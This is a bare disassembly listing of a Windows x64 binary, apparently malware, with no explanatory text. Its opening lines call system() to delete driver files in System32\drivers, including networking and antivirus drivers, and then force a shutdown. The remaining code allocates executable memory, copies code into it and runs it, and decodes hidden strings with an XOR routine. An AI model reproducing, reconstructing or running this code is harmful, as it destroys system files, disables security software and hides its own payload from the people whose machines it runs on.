call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_vhda64v.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_netio.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_aswVmm.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14004dda0
lea rdx, [0x1401a73d2]
lea rcx, [rbp + 0xb40]
call fcn.14006d660
mov rdx, rax
lea rcx, [0x1402f0c90]
call fcn.14013da00
lea rdx, [0x140132900]
lea rcx, [rbp + 0x5d0]
call fcn.1400bf2d0
nop
lea rcx, [rbp + 0x5d0]
call fcn.1401148d0
call fcn.140050740
call fcn.1400ebed0
call fcn.14010fc80
mov ecx, 8
call fcn.14019eb90
test rax, rax
je 0x140128973
lea rcx, [0x1401163f0]
mov qword [rax], rcx
jmp 0x140128976
mov rax, r12
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x5e8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400c13d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x5e0], rax
test rax, rax
je 0x14012ff50
mov qword [rbp + 0x30], r12
lea rax, [rbp + 0x108e8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x80], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rsp + 0x70], rbx
mov qword [rax], r12
mov ecx, r12d
lea rsi, [0x1400bff50]
lea r14, [0x140000000]
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x140128a29
mov rdx, r12
nop dword [rax + rax]
cmp rax, rsi
je 0x140128a18
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x140128a00
jmp 0x140128a29
mov rdi, qword [r14 + rdx*8 + 0x2f50a0]
test rdi, rdi
jne 0x140128b2d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140128a50
mov rdi, r12
jmp 0x140128b0c
mov rax, rsi
mov rcx, rdi
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140128a60
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r14 + rax*8 + 0x2f4d80], rsi
mov qword [r14 + rax*8 + 0x2f50a0], rdi
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x1400ffed0]
call rdi
nop
lea rax, [rbp + 0x108e8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x70], rbx
mov qword [rax], r12
mov ecx, r12d
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x140128b99
mov rdx, r12
nop dword [rax + rax]
cmp rax, rsi
je 0x140128b88
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x140128b70
jmp 0x140128b99
mov rdi, qword [r14 + rdx*8 + 0x2f50a0]
test rdi, rdi
jne 0x140128c9d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140128bc0
mov rdi, r12
jmp 0x140128c7c
mov rax, rsi
mov rcx, rdi
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140128bd0
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r14 + rax*8 + 0x2f4d80], rsi
mov qword [r14 + rax*8 + 0x2f50a0], rdi
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [fcn.14011ceb0]
call rdi
nop
lea rax, [rbp + 0x108e8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x70], rbx
mov qword [rax], r12
mov ecx, r12d
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x140128d09
mov rdx, r12
nop dword [rax + rax]
cmp rax, rsi
je 0x140128cf8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x140128ce0
jmp 0x140128d09
mov rdi, qword [r14 + rdx*8 + 0x2f50a0]
test rdi, rdi
jne 0x140128e0d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140128d30
mov rdi, r12
jmp 0x140128dec
mov rax, rsi
mov rcx, rdi
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140128d40
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r14 + rax*8 + 0x2f4d80], rsi
mov qword [r14 + rax*8 + 0x2f50a0], rdi
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x1400c7710]
call rdi
nop
lea rax, [rbp + 0x108e8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x70], rbx
mov qword [rax], r12
mov ecx, r12d
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x140128e79
mov rdx, r12
nop dword [rax + rax]
cmp rax, rsi
je 0x140128e68
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x140128e50
jmp 0x140128e79
mov rdi, qword [r14 + rdx*8 + 0x2f50a0]
test rdi, rdi
jne 0x140128f7d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140128ea0
mov rdi, r12
jmp 0x140128f5c
mov rax, rsi
mov rcx, rdi
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140128eb0
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r14 + rax*8 + 0x2f4d80], rsi
mov qword [r14 + rax*8 + 0x2f50a0], rdi
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x1400ce450]
call rdi
nop
lea rax, [rbp + 0x108e8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x70], rbx
mov qword [rax], r12
mov ecx, r12d
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x140128fe9
mov rdx, r12
nop dword [rax + rax]
cmp rax, rsi
je 0x140128fd8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x140128fc0
jmp 0x140128fe9
mov rdi, qword [r14 + rdx*8 + 0x2f50a0]
test rdi, rdi
jne 0x1401290ed
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140129010
mov rdi, r12
jmp 0x1401290cc
mov rax, rsi
mov rcx, rdi
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140129020
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r14 + rax*8 + 0x2f4d80], rsi
mov qword [r14 + rax*8 + 0x2f50a0], rdi
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x140117590]
call rdi
nop
lea rax, [rbp + 0x108e8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x70], rbx
mov qword [rax], r12
mov ecx, r12d
mov rax, qword [0x1402f4d80]
test rax, rax
je 0x140129159
mov rdx, r12
nop dword [rax + rax]
cmp rax, rsi
je 0x140129148
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2f4d80]
test rax, rax
jne 0x140129130
jmp 0x140129159
mov rdi, qword [r14 + rdx*8 + 0x2f50a0]
test rdi, rdi
jne 0x14012925d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140129180
mov rdi, r12
jmp 0x14012923c
mov rax, rsi
mov rcx, rdi
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140129190
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f4d70]
mov qword [r14 + rax*8 + 0x2f4d80], rsi
mov qword [r14 + rax*8 + 0x2f50a0], rdi
inc rax
mov qword [0x1402f4d70], rax
lea rcx, [0x14010e9c0]
call rdi
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
lea rax, [rbp + 0x108e8]
mov qword [rax], rbx
call fcn.140050740
lea rcx, [0x1402f0c90]
call fcn.140141ed0
call fcn.140050740
call fcn.140050740
call fcn.1400d6820
call fcn.140050740
movzx eax, byte [0x1402f1327]
test al, al
je 0x14012935b
xor byte [0x1402f1310], 0x37
xor byte [0x1402f1311], 0x38
xor byte [0x1402f1312], 0x39
xor byte [0x1402f1313], 0x3a
xor byte [0x1402f1314], 0x3b
xor byte [0x1402f1315], 0x3c
xor byte [0x1402f1316], 0x3d
xor byte [0x1402f1317], 0x3e
xor byte [0x1402f1318], 0x3f
xor byte [0x1402f1319], 0x40
xor byte [0x1402f131a], 0x41
xor byte [0x1402f131b], 0x42
xor byte [0x1402f131c], 0x43
xor byte [0x1402f131d], 0x44
xor byte [0x1402f131e], 0x45
xor byte [0x1402f131f], 0x46
xor byte [0x1402f1320], 0x47
xor byte [0x1402f1321], 0x48
xor byte [0x1402f1322], 0x49
xor byte [0x1402f1323], 0x4a
xor byte [0x1402f1324], 0x4b
xor byte [0x1402f1325], 0x4c
xor byte [0x1402f1326], 0x4d
xor al, 0x4e
mov byte [0x1402f1327], al
movzx eax, byte [0x1402f05b7]
test al, al
je 0x140129413
xor byte [0x1402f05a0], 0x37
xor byte [0x1402f05a1], 0x38
xor byte [0x1402f05a2], 0x39
xor byte [0x1402f05a3], 0x3a
xor byte [0x1402f05a4], 0x3b
xor byte [0x1402f05a5], 0x3c
xor byte [0x1402f05a6], 0x3d
xor byte [0x1402f05a7], 0x3e
xor byte [0x1402f05a8], 0x3f
xor byte [0x1402f05a9], 0x40
xor byte [0x1402f05aa], 0x41
xor byte [0x1402f05ab], 0x42
xor byte [0x1402f05ac], 0x43
xor byte [0x1402f05ad], 0x44
xor byte [0x1402f05ae], 0x45
xor byte [0x1402f05af], 0x46
xor byte [0x1402f05b0], 0x47
xor byte [0x1402f05b1], 0x48
xor byte [0x1402f05b2], 0x49
xor byte [0x1402f05b3], 0x4a
xor byte [0x1402f05b4], 0x4b
xor byte [0x1402f05b5], 0x4c
xor byte [0x1402f05b6], 0x4d
xor al, 0x4e
mov byte [0x1402f05b7], al
movzx eax, byte [0x1402f0fc7]
test al, al
je 0x1401294cb
xor byte [0x1402f0fb0], 0x37
xor byte [0x1402f0fb1], 0x38
xor byte [0x1402f0fb2], 0x39
xor byte [0x1402f0fb3], 0x3a
xor byte [0x1402f0fb4], 0x3b
xor byte [0x1402f0fb5], 0x3c
xor byte [0x1402f0fb6], 0x3d
xor byte [0x1402f0fb7], 0x3e
xor byte [0x1402f0fb8], 0x3f
xor byte [0x1402f0fb9], 0x40
xor byte [0x1402f0fba], 0x41
xor byte [0x1402f0fbb], 0x42
xor byte [0x1402f0fbc], 0x43
xor byte [0x1402f0fbd], 0x44
xor byte [0x1402f0fbe], 0x45
xor byte [0x1402f0fbf], 0x46
xor byte [0x1402f0fc0], 0x47
xor byte [0x1402f0fc1], 0x48
xor byte [0x1402f0fc2], 0x49
xor byte [0x1402f0fc3], 0x4a
xor byte [0x1402f0fc4], 0x4b
xor byte [0x1402f0fc5], 0x4c
xor byte [0x1402f0fc6], 0x4d
xor al, 0x4e
mov byte [0x1402f0fc7], al
movzx eax, byte [0x1402f02ef]
test al, al
je 0x140129583
xor byte [0x1402f02d8], 0x37
xor byte [0x1402f02d9], 0x38
xor byte [0x1402f02da], 0x39
xor byte [0x1402f02db], 0x3a
xor byte [0x1402f02dc], 0x3b
xor byte [0x1402f02dd], 0x3c
xor byte [0x1402f02de], 0x3d
xor byte [0x1402f02df], 0x3e
xor byte [0x1402f02e0], 0x3f
xor byte [0x1402f02e1], 0x40
xor byte [0x1402f02e2], 0x41
xor byte [0x1402f02e3], 0x42
xor byte [0x1402f02e4], 0x43
xor byte [0x1402f02e5], 0x44
xor byte [0x1402f02e6], 0x45
xor byte [0x1402f02e7], 0x46
xor byte [0x1402f02e8], 0x47
xor byte [0x1402f02e9], 0x48
xor byte [0x1402f02ea], 0x49
xor byte [0x1402f02eb], 0x4a
xor byte [0x1402f02ec], 0x4b
xor byte [0x1402f02ed], 0x4c
xor byte [0x1402f02ee], 0x4d
xor al, 0x4e
mov byte [0x1402f02ef], al
movzx eax, byte [0x1402f00af]
test al, al
je 0x14012963b
xor byte [0x1402f0098], 0x37
xor byte [0x1402f0099], 0x38
xor byte [0x1402f009a], 0x39
xor byte [0x1402f009b], 0x3a
xor byte [0x1402f009c], 0x3b
xor byte [0x1402f009d], 0x3c
xor byte [0x1402f009e], 0x3d
xor byte [0x1402f009f], 0x3e
xor byte [0x1402f00a0], 0x3f
xor byte [0x1402f00a1], 0x40
xor byte [0x1402f00a2], 0x41
xor byte [0x1402f00a3], 0x42
xor byte [0x1402f00a4], 0x43
xor byte [0x1402f00a5], 0x44
xor byte [0x1402f00a6], 0x45
xor byte [0x1402f00a7], 0x46
xor byte [0x1402f00a8], 0x47
xor byte [0x1402f00a9], 0x48
xor byte [0x1402f00aa], 0x49
xor byte [0x1402f00ab], 0x4a
xor byte [0x1402f00ac], 0x4b
xor byte [0x1402f00ad], 0x4c
xor byte [0x1402f00ae], 0x4d
xor al, 0x4e
mov byte [0x1402f00af], al
movzx eax, byte [0x1402f0f1f]
test al, al
je 0x1401296f3
xor byte [0x1402f0f08], 0x37
xor byte [0x1402f0f09], 0x38
xor byte [0x1402f0f0a], 0x39
xor byte [0x1402f0f0b], 0x3a
xor byte [0x1402f0f0c], 0x3b
xor byte [0x1402f0f0d], 0x3c
xor byte [0x1402f0f0e], 0x3d
xor byte [0x1402f0f0f], 0x3e
xor byte [0x1402f0f10], 0x3f
xor byte [0x1402f0f11], 0x40
xor byte [0x1402f0f12], 0x41
xor byte [0x1402f0f13], 0x42
xor byte [0x1402f0f14], 0x43
xor byte [0x1402f0f15], 0x44
xor byte [0x1402f0f16], 0x45
xor byte [0x1402f0f17], 0x46
xor byte [0x1402f0f18], 0x47
xor byte [0x1402f0f19], 0x48
xor byte [0x1402f0f1a], 0x49
xor byte [0x1402f0f1b], 0x4a
xor byte [0x1402f0f1c], 0x4b
xor byte [0x1402f0f1d], 0x4c
xor byte [0x1402f0f1e], 0x4d
xor al, 0x4e
mov byte [0x1402f0f1f], al
movzx eax, byte [0x1402f0737]
test al, al
je 0x1401297ab
mov dword [rbp + 0x5e8], r12d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3